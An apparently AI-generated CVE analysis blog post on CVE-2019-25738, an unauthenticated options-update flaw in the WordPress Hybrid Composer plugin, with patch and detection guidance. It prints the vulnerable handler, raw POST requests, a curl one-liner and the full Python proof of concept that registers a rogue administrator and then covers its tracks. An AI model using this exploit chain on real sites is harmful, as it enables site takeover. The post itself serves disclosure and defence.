ZeroPath at Black Hat USA 2026

WordPress Hybrid Composer CVE-2019-25738: Overview of a Critical Unauthenticated Options Update Leading to Full Site Takeover

A brief summary of CVE-2019-25738, a CVSS 9.8 unauthenticated arbitrary options update vulnerability in the WordPress Hybrid Composer plugin, including proof of concept, patch details, and practical detection strategies.

CVE Analysis

10 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-06-04

WordPress Hybrid Composer CVE-2019-25738: Overview of a Critical Unauthenticated Options Update Leading to Full Site Takeover
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A single unauthenticated POST request to a WordPress site running the Hybrid Composer plugin could modify any row in the wp_options database table, enabling an attacker to grant themselves full administrator access without ever logging in. With a CVSS score of 9.8 and a public exploit available since July 2019, CVE-2019-25738 represents a textbook example of CWE-306 (Missing Authentication for Critical Function) in the WordPress plugin ecosystem.

Hybrid Composer is a page builder component of the WPTF (WordPress Theme Framework), developed by framework-y. It is marketed as a back-end page builder with over 1000 options and 70+ components for building WordPress themes and websites from scratch. While its install base is relatively small (Sucuri estimated approximately 300 active installations at the time of disclosure), it is distributed outside the official WordPress.org plugin repository through the vendor's own website, which means standard WordPress.org security scanning and update mechanisms do not apply. Any site running this plugin at version 1.4.6 or earlier is fully exposed to remote compromise.

Technical Information

Root Cause

The vulnerability exists in the hc_ajax_save_option function, which the plugin registers as a WordPress AJAX handler using the wp_ajax_nopriv_ hook prefix. In WordPress, AJAX actions registered with wp_ajax_nopriv_ are explicitly available to unauthenticated visitors. The vulnerable code, as documented by Sucuri's analysis, is:

function hc_ajax_save_option() { echo update_option($_POST['option_name'], $_POST['content']); die(); } add_action('wp_ajax_nopriv_hc_ajax_save_option', 'hc_ajax_save_option');

This code has multiple critical flaws working in combination:

  1. The wp_ajax_nopriv_ prefix means the AJAX action fires for users who are not logged in. Any visitor on the internet can invoke it.
  2. The function directly passes unsanitized $_POST parameters (option_name and content) to WordPress's update_option() function, which can modify any value in the wp_options database table.
  3. There is no current_user_can() capability check to verify the caller has administrative privileges.
  4. There is no wp_verify_nonce() call to validate a CSRF token.
  5. There is no input sanitization or validation on either parameter.

WordPress's update_option() is a powerful core function. It can modify the site URL, admin email, default user role, active plugins list, and essentially any configuration value stored in the options table. Exposing it to unauthenticated callers without any guards is equivalent to giving every internet user write access to the site's configuration database.

Attack Flow

The exploitation path is straightforward and requires no special tools or authentication:

Step 1: Enable user registration. The attacker sends a POST request to the target site's admin-ajax.php endpoint:

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=hc_ajax_save_option&option_name=users_can_register&content=1

This sets the WordPress option users_can_register to 1, enabling the public registration form.

Step 2: Set the default role to administrator. A second POST request changes the default role assigned to newly registered users:

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=hc_ajax_save_option&option_name=default_role&content=administrator

Step 3: Register a new administrator account. The attacker navigates to the standard WordPress registration page at /wp-login.php?action=register and creates a new account. Because the default role is now administrator, this new account receives full administrative privileges.

Step 4: Cover tracks. The attacker reverts both options to their original values (users_can_register=0, default_role=subscriber) to minimize evidence of the attack.

Beyond account takeover, attackers can also modify the siteurl and home options to redirect the entire WordPress installation to an attacker controlled server, enabling phishing and malware distribution. A simple cURL command demonstrates this:

curl -X POST -d "option_name=siteurl&content=https://www.google.com" 'https://DOMAIN.COM/wp-admin/admin-ajax.php?action=hc_ajax_save_option'

The following table summarizes the documented exploitation scenarios:

Attack ScenarioOptions ModifiedImpact
Administrator account creationusers_can_register = 1, default_role = administratorFull site takeover via new admin account
Site URL hijackingsiteurl and home = attacker URLTraffic redirect, phishing, malware delivery
Persistent JavaScript injectionOptions containing stored outputCross site scripting across the site
Security setting manipulationVarious security related optionsWeakening of site defenses

Proof of Concept

A complete, EDB-Verified Python 2 proof of concept exploit (EDB-ID 47154) authored by yasin (vulnerability discovered by rootetsy) has been publicly available on Exploit-DB since July 24, 2019. The exploit chains multiple unauthenticated option changes to achieve full administrator account takeover:

  1. Enable user registration by setting users_can_register to 1.
  2. Set the default_role to administrator.
  3. Register a new admin level user via the WordPress registration form.
  4. Revert settings (users_can_register=0, default_role=subscriber) to cover tracks.
import httplib, urllib import sys import random site = raw_input("[+] Target: ") url = "/wp-admin/admin-ajax.php" username = "user-%d" % random.randrange(1000000, 3000000) email = raw_input("[+] E-mail: ") def ChangeOption(site, url, option_name, content): params = urllib.urlencode({'action': 'hc_ajax_save_option', 'option_name': option_name, 'content': content}) headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} conn = httplib.HTTPSConnection(site) conn.request("POST", url, params, headers) response = conn.getresponse() data = response.read() conn.close() registration_url= "/wp-login.php" def AdminTakeover(site, registration_url, user_login, user_email): params = urllib.urlencode({'action': 'register', 'user_login': user_login, 'user_email': user_email}) headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} conn = httplib.HTTPSConnection(site) conn.request("POST", registration_url, params, headers) response = conn.getresponse() data = response.read() conn.close() ChangeOption(site, url, "users_can_register", "1") ChangeOption(site, url, "default_role", "administrator") print "[+] Registering new admin user" AdminTakeover(site, registration_url, username, email) print "[+] Check your email for password: " + username + "[" + email + "]" ChangeOption(site, url, "users_can_register", "0") ChangeOption(site, url, "default_role", "subscriber")

The core of the exploit is a single unauthenticated POST request: POST /wp-admin/admin-ajax.php with body action=hc_ajax_save_option&option_name=users_can_register&content=1. No cookies, nonces, or authentication tokens are required. The randomized username (user-XXXXXXX) is a basic anti-forensics measure to make the rogue account less immediately obvious.

Patch Information

The vulnerability was patched in version 1.4.7 of the Hybrid Composer plugin, released shortly after public disclosure in July 2019.

To understand the fix, consider the two critical problems in the vulnerable code:

  1. No authorization check: The function hc_ajax_save_option performs no capability check (e.g., current_user_can()) before executing. There is zero verification that the caller has administrative privileges.

  2. Use of the wp_ajax_nopriv_ hook: By hooking hc_ajax_save_option to the wp_ajax_nopriv_ prefix, the developer exposed the update_option() function to any unauthenticated visitor on the internet.

The fix in version 1.4.7 addressed this missing authorization flaw. As described by Wordfence, the core issue was "a missing capability check on the hc_ajax_save_option function." The remediation involved removing the nopriv_ hook prefix and introducing proper access controls so that the AJAX handler could no longer be invoked by unauthenticated users.

Multiple independent security organizations, including WPScan, Wordfence, Patchstack, and Sucuri, all converge on the same recommendation: update the Hybrid Composer plugin to version 1.4.7 or later. The plugin's source code is not hosted on a public repository like GitHub, so no public commit diff is available; the fix was delivered as a standard plugin update through the vendor's distribution channel.

If upgrading is not feasible, the plugin should be disabled and removed entirely. As a temporary compensating control, a WAF rule blocking POST requests to admin-ajax.php containing the hc_ajax_save_option action parameter can prevent exploitation.

Detection Methods

No publicly available YARA, Sigma, or Snort/Suricata community rules have been published specifically for CVE-2019-25738. However, the vulnerability's well documented attack surface provides several concrete detection approaches.

Web Server Log Analysis

The most direct detection method is inspecting web server access logs (Apache, Nginx, or any reverse proxy). The attack manifests as unauthenticated HTTP POST requests to /wp-admin/admin-ajax.php where the POST body contains the parameter action=hc_ajax_save_option. This is a highly specific indicator; legitimate WordPress AJAX traffic uses different action names, and this particular action should never be invoked by unauthenticated users in a secure configuration.

If your logging captures POST data (or if you have a WAF with request body logging enabled), search specifically for the hc_ajax_save_option action value. Even without POST body logging, a sudden spike of POST requests to admin-ajax.php from unauthenticated IP addresses, especially those followed by requests to /wp-login.php?action=register, is a strong signal of this exploitation chain.

WordPress Option Change Monitoring

The documented exploit chain follows a predictable sequence: the attacker sets users_can_register to 1, then sets default_role to administrator. After registering a new admin account, the attacker often resets both options to cover tracks. Defenders should actively monitor the wp_options database table for unexpected changes to these two critical options. WordPress hooks like update_option_{$option} can be used by custom monitoring code or security plugins to fire alerts when users_can_register or default_role are modified outside of normal admin activity.

User Account Auditing

Because the ultimate goal of this exploit is account takeover via a newly registered administrator, defenders should audit the WordPress user list for unfamiliar administrator accounts. The Exploit-DB PoC registers users with randomized usernames (e.g., user-XXXXXXX), so new accounts with auto-generated or unfamiliar names holding the administrator role warrant immediate investigation. Reviewing the wp_users and wp_usermeta tables for recently created users with the wp_capabilities meta value set to administrator is a reliable post-compromise detection check.

WAF and Plugin Level Detection

Wordfence's threat intelligence entry for this vulnerability confirms that their Web Application Firewall actively blocks exploitation attempts targeting the hc_ajax_save_option action. While the specific Wordfence WAF signature is proprietary, this confirms that commercial WordPress WAF solutions can and do detect this pattern. Organizations running Wordfence, Sucuri's firewall, or similar WordPress security products should ensure their rulesets are up to date.

Vulnerable Plugin Identification

For proactive detection, security teams should scan WordPress installations for the presence of the Hybrid Composer plugin at version 1.4.6 or earlier. Tools like WPScan can enumerate installed plugin versions. Identifying the vulnerable plugin before exploitation occurs is the simplest form of detection.

Affected Systems and Versions

All versions of the WordPress Hybrid Composer plugin up to and including 1.4.6 are affected. The vulnerability was patched in version 1.4.7.

The plugin is part of the WPTF (WordPress Theme Framework) distributed by framework-y through their own website at wordpress.framework-y.com. It is not listed on the official WordPress.org plugin repository. At the time of disclosure, Sucuri estimated approximately 300 active installations.

Any WordPress installation running Hybrid Composer 1.4.6 or earlier with the plugin activated is vulnerable. The attack requires only network access to the WordPress admin-ajax.php endpoint, which is accessible by default on all WordPress installations.

Vendor Security History

The WPScan vulnerability database lists only one vulnerability for the Hybrid Composer plugin: CVE-2019-25738. The developer responded positively when contacted by the WPScan researcher and released a patch in coordination with the disclosure.

However, the nature of the vulnerability itself reflects a fundamental gap in secure development practices. The use of wp_ajax_nopriv_ for a function that calls update_option() with unsanitized user input indicates that authentication, authorization, and input validation were not considered during the AJAX handler's implementation. The absence of nonce verification further suggests that CSRF protection was also overlooked.

It is worth noting the significant delay between the original discovery (July 2019) and the NVD publication date (June 2026), which raises concerns about CVE assignment bottlenecks for niche WordPress plugins. This delay may leave organizations unaware of vulnerabilities for extended periods, particularly if they rely solely on NVD for vulnerability intelligence.

Patchstack assessed the vulnerability as "Low priority" with "No impactful threat" at the time of their assessment, likely influenced by the small install base. However, they simultaneously noted that "vulnerabilities like this one are used in mass-exploit campaigns," underscoring that the vulnerability type itself is routinely weaponized regardless of the specific plugin's popularity.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Jira
  • Linear
  • Slack
  • Security Compass
Security magnifying glass visualization